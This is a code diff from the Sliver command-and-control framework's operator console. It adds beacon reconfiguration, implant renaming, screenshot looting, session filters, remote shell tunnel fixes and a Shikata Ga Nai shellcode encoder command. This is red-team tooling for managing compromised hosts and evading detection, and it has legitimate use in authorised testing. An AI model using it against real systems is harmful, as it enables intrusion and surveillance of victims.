@@ -182,6 +188,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, args),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
@@ -190,6 +197,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
@@ -210,6 +218,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, args),
}
} else {
@@ -217,6 +226,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
}
+4
View File
@@ -41,6 +41,10 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
if err != nil {
con.PrintErrorf("Terminate failed: %s", err)
return
}
if terminated.Response != nil && terminated.Response.Async {
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
+4
View File
@@ -0,0 +1,4 @@
Reconfig
=========
Commands used to reconfigure beacon/session times and metadata
+96
View File
@@ -0,0 +1,96 @@
package reconfig
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ReconfigCmd - Reconfigure metadata about a sessions
func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var err error
var reconnectInterval time.Duration
if ctx.Flags.String("reconnect-interval") != "" {
reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
if err != nil {
con.PrintErrorf("Invalid reconnect interval: %s\n", err)
return
}
}
var beaconInterval time.Duration
var beaconJitter time.Duration
if beacon != nil {
if ctx.Flags.String("beacon-interval") != "" {
beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
if err != nil {
con.PrintErrorf("Invalid beacon interval: %s\n", err)
return
}
}
if ctx.Flags.String("beacon-jitter") != "" {
beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
if err != nil {
con.PrintErrorf("Invalid beacon jitter: %s\n", err)
return
}
if beaconInterval == 0 && beaconJitter != 0 {
con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
}
}
}
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
ReconnectInterval: int64(reconnectInterval),
BeaconInterval: int64(beaconInterval),
BeaconJitter: int64(beaconJitter),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
if reconfig.Response != nil && reconfig.Response.Async {
con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, reconfig)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
con.PrintInfof("Reconfigured beacon\n")
})
con.PrintAsyncResponse(reconfig.Response)
} else {
con.PrintInfof("Reconfiguration complete\n")
}
}
+62
View File
@@ -0,0 +1,62 @@
package reconfig
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// RecnameCmd - Reconfigure metadata about a sessions
func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
// Option to change the agent name
name := ctx.Flags.String("name")
if err := util.AllowedName(name); err != nil {
con.PrintErrorf("%s\n", err)
return
}
var beaconID string
var sessionID string
if beacon != nil {
beaconID = beacon.ID
} else if session != nil {
sessionID = session.ID
}
_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
SessionID: sessionID,
BeaconID: beaconID,
Name: name,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Renamed implant to %s\n", name)
con.ActiveTarget.Set(nil, nil)
}
+38 -10
View File
@@ -57,6 +57,10 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
hostname := getHostname(session, beacon)
if screenshot.Response != nil && screenshot.Response.Async {
con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
@@ -65,11 +69,31 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintScreenshot(screenshot, hostname, ctx, con)
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
})
con.PrintAsyncResponse(screenshot.Response)
} else {
PrintScreenshot(screenshot, hostname, ctx, con)
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
}
}
@@ -88,7 +112,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -103,14 +127,18 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
}
con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = screenshotFileName
}
lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
loot.SendLootMessage(lootMessage, con)
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
+2
View File
@@ -111,6 +111,8 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
c2s = append(c2s, wgC2...)
case "https":
fallthrough
case "http":
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
if err != nil {
+1 -1
View File
@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
for _, session := range sessions.GetSessions() {
if session.IsDead {
con.Printf("Pruning session %s ... ", session.ID)
err = kill.KillSession(session, true, con)
err = kill.KillSession(session, ctx, con)
if err != nil {
con.Printf("failed!\n")
con.PrintErrorf("%s\n", err)
-69
View File
@@ -1,69 +0,0 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// SessionsReconfigCmd - Reconfigure metadata about a sessions
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
// Option to change the agent name
name := ctx.Flags.String("name")
if name != "" {
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
if !isAlphanumeric(name) {
con.PrintErrorf("Name must be in alphanumeric only\n")
return
}
}
// Option to change the reconnect interval
reconnect := ctx.Flags.Int("reconnect")
// Option to change the reconnect interval
poll := ctx.Flags.Int("poll")
oldSession := con.ActiveTarget.GetSession()
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
SessionID: oldSession.ID,
Name: name,
ReconnectInterval: int64(reconnect) * int64(time.Second),
PollInterval: int64(poll) * int64(time.Second),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.ActiveTarget.Set(session, nil)
}
+98 -27
View File
@@ -21,6 +21,7 @@ package sessions
import (
"context"
"fmt"
"regexp"
"strings"
"time"
@@ -31,6 +32,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// SessionsCmd - Display/interact with sessions
@@ -50,7 +52,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if killAll {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
err := kill.KillSession(session, true, con)
err := kill.KillSession(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -64,7 +66,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.ActiveTarget.Background()
for _, session := range sessions.Sessions {
if session.IsDead {
err := kill.KillSession(session, true, con)
err := kill.KillSession(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -80,7 +82,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if activeSession != nil && session.ID == activeSession.ID {
con.ActiveTarget.Background()
}
err := kill.KillSession(session, true, con)
err := kill.KillSession(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
}
@@ -96,12 +98,23 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
}
} else {
filter := ctx.Flags.String("filter")
var filterRegex *regexp.Regexp
if ctx.Flags.String("filter-re") != "" {
var err error
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
sessionsMap := map[string]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
if 0 < len(sessionsMap) {
PrintSessions(sessionsMap, con)
PrintSessions(sessionsMap, filter, filterRegex, con)
} else {
con.PrintInfof("No sessions 🙁\n")
}
@@ -109,20 +122,39 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Message",
"Health",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Health",
})
}
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
@@ -142,17 +174,56 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
if session.Burned {
burned = "🔥"
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
var rowEntries []string
if con.Settings.SmallTermWidth < width {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
}
} else {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
burned + SessionHealth,
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
}
}
con.Printf("%s\n", tw.Render())
+49
View File
@@ -19,6 +19,8 @@ package settings
*/
import (
"strconv"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
@@ -43,9 +45,56 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
tw.AppendRow(table.Row{"Vim mode", con.Settings.VimMode, "Navigation mode, vim style"})
con.Printf("%s\n", tw.Render())
}
// SettingsAlwaysOverflow - Toggle always overflow
func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
}
// SettingsSmallTerm - Modify small terminal width value
func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
result := ""
prompt := &survey.Input{Message: "Set small width:"}
err = survey.AskOne(prompt, &result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
newWidth, err := strconv.Atoi(result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if newWidth < 1 {
con.PrintErrorf("Invalid width (too small)\n")
return
}
con.Settings.SmallTermWidth = newWidth
con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
}
// SettingsTablesCmd - The client settings command
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
+3 -3
View File
@@ -27,7 +27,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
)
var (
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
renderedTable := tw.Render()
lineCount := strings.Count(renderedTable, "\n")
if !overflow {
if !overflow || con.Settings.AlwaysOverflow {
// Only paginate if the number of lines is at least 2x the terminal height
width, height, err := terminal.GetSize(0)
width, height, err := term.GetSize(0)
if err == nil && 2*height < lineCount {
if 7 < height {
tw.SetPageSize(height - 6)
+20 -2
View File
@@ -61,6 +61,8 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
con.Println()
con.PrintInfof("Wait approximately 10 seconds after exit, and press <enter> to continue\n")
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
session := con.ActiveTarget.GetSession()
if session == nil {
@@ -68,9 +70,12 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
}
// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
SessionID: session.ID,
})
defer cancelTunnel()
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -78,7 +83,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
@@ -90,6 +95,19 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
con.PrintErrorf("%s\n", err)
return
}
//
if shell.Response != nil && shell.Response.Err != "" {
con.PrintErrorf("Error: %s\n", shell.Response.Err)
_, err = con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
TunnelID: tunnel.ID,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("RPC Error: %s\n", err)
}
return
}
defer tunnel.Close()
log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
+81
View File
@@ -0,0 +1,81 @@
package sgn
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/hex"
"io/ioutil"
"path/filepath"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
shellcodeFile := ctx.Args.String("shellcode")
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
if err != nil {
con.PrintErrorf("Failed to read shellcode file: %s", err)
return
}
arch := ctx.Flags.String("arch")
iterations := ctx.Flags.Int("iterations")
rawBadChars := ctx.Flags.String("bad-chars")
badChars, err := hex.DecodeString(rawBadChars)
if err != nil {
con.PrintErrorf("Failed to decode bad chars: %s", err)
return
}
con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iterations),
BadChars: badChars,
Data: rawShellcode,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
return
}
outputFile := ctx.Flags.String("save")
if outputFile == "" {
outputFile = filepath.Base(shellcodeFile)
outputFile += ".sgn"
}
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
if err != nil {
con.PrintErrorf("Failed to write shellcode file: %s", err)
return
}
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
}
+1 -1
View File
@@ -29,7 +29,7 @@ import (
// SocksStopCmd - Remove an existing tunneled port forward
func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socksID := ctx.Flags.Int("id")
socksID := ctx.Flags.Uint64("id")
if socksID < 1 {
con.PrintErrorf("Must specify a valid socks5 id\n")
return
+22 -4
View File
@@ -233,7 +233,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
},
}
exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
// execute-shellcode
case sliverpb.MsgTaskReq:
@@ -289,9 +289,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "sideload"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.PrintSideload(sideload, hostname, ctx, con)
exec.HandleSideloadResponse(sideload, "", hostname, ctx, con)
case sliverpb.MsgSpawnDllReq:
spawnDll := &sliverpb.SpawnDll{}
@@ -309,9 +310,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
Command: &grumble.Command{Name: "spawndll"},
Flags: grumble.FlagMap{
"save": &grumble.FlagMapItem{Value: false},
"loot": &grumble.FlagMapItem{Value: false},
},
}
exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
exec.HandleSpawnDLLResponse(spawnDll, "", hostname, ctx, con)
case sliverpb.MsgSSHCommandReq:
sshCommand := &sliverpb.SSHCommand{}
@@ -356,7 +358,15 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
"modified": &grumble.FlagMapItem{Value: false},
"size": &grumble.FlagMapItem{Value: false},
}
filesystem.PrintLs(ls, flags, "", con)
filesystem.PrintLs(ls, flags, con)
case sliverpb.MsgMvReq:
mv := &sliverpb.Mv{}
err := proto.Unmarshal(task.Response, mv)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
case sliverpb.MsgMkdirReq:
mkdir := &sliverpb.Mkdir{}
@@ -446,6 +456,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
privilege.PrintGetSystem(getSystem, con)
case sliverpb.MsgCurrentTokenOwnerReq:
cto := &sliverpb.CurrentTokenOwner{}
err := proto.Unmarshal(task.Response, cto)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
case sliverpb.MsgImpersonateReq:
impersonateReq := &sliverpb.ImpersonateReq{}
err := proto.Unmarshal(task.Response, impersonateReq)
+17 -6
View File
@@ -26,7 +26,6 @@ import (
"io/ioutil"
"log"
insecureRand "math/rand"
"path"
"path/filepath"
"strconv"
"strings"
@@ -109,11 +108,12 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
App: grumble.New(&grumble.Config{
Name: "Sliver",
Description: "Sliver Client",
HistoryFile: path.Join(assets.GetRootAppDir(), "history"),
HistoryFile: filepath.Join(assets.GetRootAppDir(), "history"),
PromptColor: color.New(),
HelpHeadlineColor: color.New(),
HelpHeadlineUnderline: true,
HelpSubCommands: true,
VimMode: settings.VimMode,
}),
Rpc: rpc,
ActiveTarget: &ActiveTarget{
@@ -195,8 +195,8 @@ func (con *SliverConsoleClient) EventLoop() {
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(session, nil)
if err != nil {
con.PrintEventErrorf("Could not add session to Operator: %s", err)
}
@@ -215,13 +215,14 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
con.App.SetPrompt(con.GetPrompt())
}
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.RemoveImplant(session)
if err != nil {
con.PrintEventErrorf("Could not remove session from Operator: %s", err)
}
@@ -236,6 +237,16 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
// Prelude Operator
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
if err != nil {
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
}
}
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
}
+3
View File
@@ -167,6 +167,7 @@ const (
ExecuteStr = "execute"
LsStr = "ls"
MvStr = "mv"
RmStr = "rm"
MkdirStr = "mkdir"
CdStr = "cd"
@@ -235,6 +236,8 @@ const (
GetPrivsStr = "getprivs"
PreludeOperatorStr = "prelude-operator"
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
)
// Groups
+35 -7
View File
@@ -1,7 +1,26 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
